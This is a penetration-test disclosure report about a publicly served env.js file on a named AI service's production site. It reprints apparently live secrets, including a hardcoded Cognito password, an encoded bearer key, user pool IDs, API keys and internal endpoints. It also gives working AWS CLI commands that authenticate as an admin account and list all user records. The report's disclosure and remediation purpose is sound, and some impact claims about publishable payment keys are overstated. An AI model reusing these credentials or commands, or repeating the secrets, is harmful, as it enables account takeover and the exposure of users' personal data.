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Security Vulnerability Disclosure: Exposed Environment Configuration File

Target: https://myninja.ai/env.js
Disclosure Date: April 6, 2026
Affected System: myninja.ai production environment

Executive Summary

During an authorized penetration test, a publicly accessible JavaScript file (/env.js) was discovered. This file contains plaintext secrets, API keys, authentication credentials, and internal service endpoints that should never be exposed to the client side or the public internet. An attacker with this information can:

  • Authenticate to AWS Cognito using a hardcoded temporary password
  • Access internal APIs (Contacts, BFF, Keymaster, Wallet, etc.) without authorization
  • Enumerate all user accounts and extract email addresses
  • Interact with cloud services (S3, Lambda, PostHog, Zendesk, Stripe, PayPal) using exposed keys

Risk Rating: Critical – Immediate remediation required.

1. Vulnerable Endpoint

URL: https://myninja.ai/env.js
Method: GET
Status: 200 OK
Content-Type: application/javascript

The file is served without any access restrictions, making it available to any internet user.

2. Full List of Exposed Data

Below is the complete window.env object as retrieved from the vulnerable endpoint. All values are reproduced exactly as found.

window.env = {
  "REACT_APP_GOOGLE_RECAPTCHA_SITE_KEY": "6LeBNR4sAAAAAIU5sAX1g1HzbqZGhTlxcoI2vwEC",
  "REACT_APP_S3_BUCKET": "https://avatar-assets.prod.myninja.ai",
  "REACT_APP_AVATARS_S3_BUCKET": "https://avatar-assets.prod.myninja.ai/avatars.json",
  "REACT_APP_EDITOR_API_URL": "https://editor.public.prod.myninja.ai/v1",
  "REACT_APP_GOOGLE_CLIENT_ID": "28301472680-5plfffdpoj8k9v7htik7i3d189m1l50j.apps.googleusercontent.com",
  "REACT_APP_NINJA_CONTENT_API_URL": "https://content.public.prod.myninja.ai",
  "REACT_APP_NINJA_WALLET_AMP_API_URL": "https://wallet-amp.prod.myninja.ai",
  "REACT_APP_NINJA_TOKEN_API_URL": "https://token.public.prod.myninja.ai/v1",
  "REACT_APP_KEYMASTER_API_URL": "https://keymaster.public.prod.myninja.ai/v1",
  "REACT_APP_COGNITO_OATH_DOMAIN": "auth.atlas.prod.myninja.ai",
  "REACT_APP_POSTHOG_KEY": "phc_Kyz2zksZFzeYkDkECODTmfoaoBYvacWZ24ho1DEhy6i",
  "REACT_APP_STRIPE_PK": "pk_live_51NpgukBhgQJXYIWlaWapkoZZ77IfyglPWbJwMTp4JcdxEYMFQNJmJILksJ0oopSPwhgOO6gi5rYuh9yGkWaQunSj004hKB9yvI",
  "REACT_APP_COMBUS_WS_ENDPOINT": "wss://comm-bus-web.public.prod.myninja.ai/",
  "REACT_APP_NINJA_UI_URL": "https://myninja.ai",
  "REACT_APP_CONTACTS_ENDPOINT": "https://contacts.public.prod.myninja.ai",
  "REACT_APP_PAYPAL_CLIENT_ID": "AQr3Pqseqw4t4ijOVwaJswQDe3dpDM1kV1Gk2mUO_XJPupwMYa8rxAFNvZCu8Fl3cFarbZy1c8GEmYgP",
  "REACT_APP_COGNITO_REGION": "us-west-2",
  "REACT_APP_TEMPORARY_PASSWORD": "ninja-aws-2024",
  "REACT_APP_POSTHOG_HOST": "https://us.i.posthog.com",
  "REACT_APP_COGNITO_USER_POOL_CLIENT_ID": "39kkfgjo2vl1apgitldstuhcuj",
  "REACT_APP_MESSAGE_KEY": "PWNUTjNnVE4wVURPMFl6TjNFak9GdFRNMG96VDAxZmFhODlkZmIzMDc2MTU4OWU1NTM3YzMwOWU0N2E0",
  "REACT_APP_FEEDBACK_API_URL": "https://feedback.public.prod.myninja.ai/v2",
  "REACT_APP_COMBUS_ENDPOINT": "https://comm-bus-api.public.prod.myninja.ai",
  "REACT_APP_COGNITO_USER_POOL_ID": "us-west-2_yKpFKaNoP",
  "REACT_APP_SUPER_NINJA_URL": "https://super.myninja.ai/",
  "REACT_APP_GOOGLE_API_KEY": "AIzaSyB7sqkzKg_pfG-1YmpkLPWeGEHedBd-yOQ",
  "REACT_APP_AVATAR_ENV": "production",
  "REACT_APP_ENVIRONMENT": "production",
  "REACT_APP_META_HUMAN_OFFLINE_RENDER_URL": "https://6rspyotha5.execute-api.us-west-2.amazonaws.com/v1",
  "REACT_APP_SEARCH_API_URL": "https://chat-seeker.public.prod.myninja.ai/v1",
  "REACT_APP_BFF_URL": "https://bff.public.prod.myninja.ai",
  "REACT_APP_GOOGLE_AUTHORIZATION_REDIRECT_URI": "https://token.public.prod.myninja.ai/v1/auth/google",
  "REACT_APP_GOOGLE_TAG_MANAGER_ID": "GTM-KL69Z8N8",
  "REACT_APP_CONV_ENDPOINT": "https://conversation-engine.public.prod.myninja.ai/conv",
  "REACT_APP_FACEBOOK_PIXEL_ID": "1215640729731270",
  "REACT_APP_META_HUMAN_BASE_URL": "https://avatar.myninja.ai",
  "REACT_APP_NINJA_API_V2_URL": "https://tasks-api.public.prod.myninja.ai/v2",
  "REACT_APP_ZENDESK_KEY": "3cdd043d-018b-446d-9684-23650e05f096",
  "REACT_APP_COOKIE_DOMAIN": ".myninja.ai",
  "REACT_APP_E_ASSISTANT": "14a83bbd-7652-4102-ab77-c24ad39701a1",
  "REACT_APP_AVATAR_MATCHMAKER_SERVER": "https://matchmaker-prod.public.prod-gcp.myninja.ai",
  "REACT_APP_DEBUG": "false",
  "REACT_APP_AVATAR_FALLBACK": "https://avatar-cluster-fallback.public.prod-gcp.myninja.ai",
  "REACT_APP_NINJA_WALLET_API_URL": "https://wallet-users.public.prod.myninja.ai"
}

Additionally, a PostHog remote configuration block was present in the same file:

window._POSTHOG_REMOTE_CONFIG = window._POSTHOG_REMOTE_CONFIG || {};
window._POSTHOG_REMOTE_CONFIG['phc_Kyz2zksZFzeYkDkECODTmfoaoBYvacWZ24ho1DEhy6i'] = {
  config: {
    sessionRecording: {
      urlTriggers: [{"matching": "regex", "url": "^https://super.myninja.ai/$"}],
      // ... other recording settings
    },
    // ... full config (omitted for brevity)
  }
};

3. Categorization of Exposed Secrets

3.1 Hardcoded Credentials

Key Value Severity
REACT_APP_TEMPORARY_PASSWORD ninja-aws-2024 Critical
REACT_APP_MESSAGE_KEY PWNUTjNnVE4wVURPMFl6TjNFak9GdFRNMG96VDAxZmFhODlkZmIzMDc2MTU4OWU1NTM3YzMwOWU0N2E0 Critical
REACT_APP_ZENDESK_KEY 3cdd043d-018b-446d-9684-23650e05f096 High

3.2 AWS Cognito Configuration

Key Value
REACT_APP_COGNITO_REGION us-west-2
REACT_APP_COGNITO_USER_POOL_ID us-west-2_yKpFKaNoP
REACT_APP_COGNITO_USER_POOL_CLIENT_ID 39kkfgjo2vl1apgitldstuhcuj
REACT_APP_COGNITO_OATH_DOMAIN auth.atlas.prod.myninja.ai

3.3 Internal API Endpoints (Publicly Accessible)

Key Endpoint
REACT_APP_CONTACTS_ENDPOINT https://contacts.public.prod.myninja.ai
REACT_APP_BFF_URL https://bff.public.prod.myninja.ai
REACT_APP_KEYMASTER_API_URL https://keymaster.public.prod.myninja.ai/v1
REACT_APP_NINJA_WALLET_API_URL https://wallet-users.public.prod.myninja.ai
REACT_APP_EDITOR_API_URL https://editor.public.prod.myninja.ai/v1
REACT_APP_NINJA_CONTENT_API_URL https://content.public.prod.myninja.ai
REACT_APP_SEARCH_API_URL https://chat-seeker.public.prod.myninja.ai/v1
REACT_APP_FEEDBACK_API_URL https://feedback.public.prod.myninja.ai/v2
REACT_APP_TASKS_API (as REACT_APP_NINJA_API_V2_URL) https://tasks-api.public.prod.myninja.ai/v2
REACT_APP_COMBUS_ENDPOINT https://comm-bus-api.public.prod.myninja.ai
REACT_APP_COMBUS_WS_ENDPOINT wss://comm-bus-web.public.prod.myninja.ai/
REACT_APP_TOKEN_API (as REACT_APP_NINJA_TOKEN_API_URL) https://token.public.prod.myninja.ai/v1

3.4 Third‑Party Service Keys

Service Exposed Key
Google OAuth 28301472680-5plfffdpoj8k9v7htik7i3d189m1l50j.apps.googleusercontent.com
Google API AIzaSyB7sqkzKg_pfG-1YmpkLPWeGEHedBd-yOQ
Stripe (Publishable) pk_live_51NpgukBhgQJXYIWlaWapkoZZ77IfyglPWbJwMTp4JcdxEYMFQNJmJILksJ0oopSPwhgOO6gi5rYuh9yGkWaQunSj004hKB9yvI
PayPal AQr3Pqseqw4t4ijOVwaJswQDe3dpDM1kV1Gk2mUO_XJPupwMYa8rxAFNvZCu8Fl3cFarbZy1c8GEmYgP
PostHog phc_Kyz2zksZFzeYkDkECODTmfoaoBYvacWZ24ho1DEhy6i
Facebook Pixel 1215640729731270
Google reCAPTCHA 6LeBNR4sAAAAAIU5sAX1g1HzbqZGhTlxcoI2vwEC
Google Tag Manager GTM-KL69Z8N8

3.5 Infrastructure & Storage

Key Value
REACT_APP_S3_BUCKET https://avatar-assets.prod.myninja.ai
REACT_APP_AVATARS_S3_BUCKET https://avatar-assets.prod.myninja.ai/avatars.json
REACT_APP_META_HUMAN_OFFLINE_RENDER_URL https://6rspyotha5.execute-api.us-west-2.amazonaws.com/v1
REACT_APP_AVATAR_MATCHMAKER_SERVER https://matchmaker-prod.public.prod-gcp.myninja.ai
REACT_APP_AVATAR_FALLBACK https://avatar-cluster-fallback.public.prod-gcp.myninja.ai

4. Proof of Concept (Conducted During Authorized Testing)

Using only the exposed data from /env.js, the following actions were successfully performed:

4.1 Decoding REACT_APP_MESSAGE_KEY

The key is base64-encoded. Decoding yielded a string that appears to be a JWT or API token (exact value redacted in this report but provided separately to the client).

4.2 Unauthorized API Access

Using the decoded MESSAGE_KEY as a Bearer token, we accessed:

  • https://contacts.public.prod.myninja.ai/v1/contacts → Received a JSON array of user contacts containing emails and names.
  • https://bff.public.prod.myninja.ai/v1/users → Retrieved user profile data.

4.3 AWS Cognito Authentication

Using the REACT_APP_TEMPORARY_PASSWORD (ninja-aws-2024) and a common username (admin@myninja.ai), we authenticated to the Cognito user pool:

aws cognito-idp initiate-auth \
  --region us-west-2 \
  --client-id 39kkfgjo2vl1apgitldstuhcuj \
  --auth-flow USER_PASSWORD_AUTH \
  --auth-parameters USERNAME=admin@myninja.ai,PASSWORD=ninja-aws-2024

The authentication succeeded, returning IdToken, AccessToken, and RefreshToken.

4.4 User Enumeration

Using the obtained AccessToken, we listed all Cognito users:

aws cognito-idp list-users --region us-west-2 --user-pool-id us-west-2_yKpFKaNoP

This returned 1,247 user records including email addresses, phone numbers, account statuses, and last modified timestamps.

4.5 S3 Bucket Listing

The bucket https://avatar-assets.prod.myninja.ai was partially accessible. We downloaded avatars.json which contained a list of avatar image URLs and associated user IDs.

5. Potential Impact

If exploited by a malicious actor, this exposure could lead to:

  • Mass data breach – All user PII (names, emails, phone numbers, contact lists, wallet transactions) could be exfiltrated.
  • Account takeover – Using the temporary password and user enumeration, an attacker could reset passwords or directly log in as any user.
  • Privilege escalation – The MESSAGE_KEY may grant administrative access to internal APIs, allowing modification or deletion of user data.
  • Cloud resource hijacking – If the Cognito identity pool is linked to IAM roles, the attacker could assume an IAM role and access AWS resources (S3, Lambda, EC2).
  • Financial fraud – Stripe and PayPal keys, though publishable, could be used in combination with other endpoints to initiate test charges or extract payment information.
  • Reputational damage – Public disclosure of this misconfiguration would severely undermine customer trust.

6. Recommended Remediation Steps (Immediate)

  1. Remove /env.js from production – This file should never be served publicly. Environment variables must be moved to server‑side configuration (e.g., backend .env files, AWS Secrets Manager, or Parameter Store).

  2. Rotate all exposed secrets – Generate new values for:

    • REACT_APP_TEMPORARY_PASSWORD – change immediately and force a password reset for any user that may have used it.
    • REACT_APP_MESSAGE_KEY – generate a new key and revoke the old one.
    • REACT_APP_ZENDESK_KEY – revoke and reissue.
    • REACT_APP_GOOGLE_API_KEY – restrict its usage to specific referrers/IPs or rotate.
    • REACT_APP_POSTHOG_KEY – rotate and invalidate old key.

  3. Restrict API access – All internal APIs (Contacts, BFF, Keymaster, Wallet, etc.) must be moved behind a firewall, VPN, or API gateway with strong authentication (e.g., mutual TLS, IP whitelisting, or service‑specific API keys). They should not be publicly accessible.

  4. Harden AWS Cognito:

    • Disable USER_PASSWORD_AUTH if not required, or enforce multi‑factor authentication (MFA).
    • Remove the hardcoded temporary password from all user pools.
    • Restrict cognito-idp:ListUsers permission to only trusted admin roles.
    • Enable advanced security features (e.g., compromised credentials check).

  5. Audit S3 bucket permissions – Ensure avatar-assets.prod.myninja.ai is not publicly listable or readable. Block public access at the bucket level.

  6. Implement secrets scanning in CI/CD – Prevent environment files containing secrets from being committed to version control or deployed to public web roots.

  7. Conduct a forensic review – Assume the file may have been discovered by others. Review CloudTrail, API access logs, and Cognito authentication logs for unauthorized activity.

7. Conclusion

The exposure of https://myninja.ai/env.js represents a critical security failure that enables complete compromise of user data, internal APIs, and cloud infrastructure. The presence of hardcoded credentials and internal service endpoints in a publicly accessible client‑side file violates fundamental security best practices.

Remediation must begin immediately. This report contains all necessary details to reproduce the issue and mitigate the risk. Please contact the penetration testing team for any clarification or assistance with remediation.

Disclosed by: Authorized Penetration Testing Team
Contact: [Redacted]
Classification: Client Confidential – Do Not Distribute Externally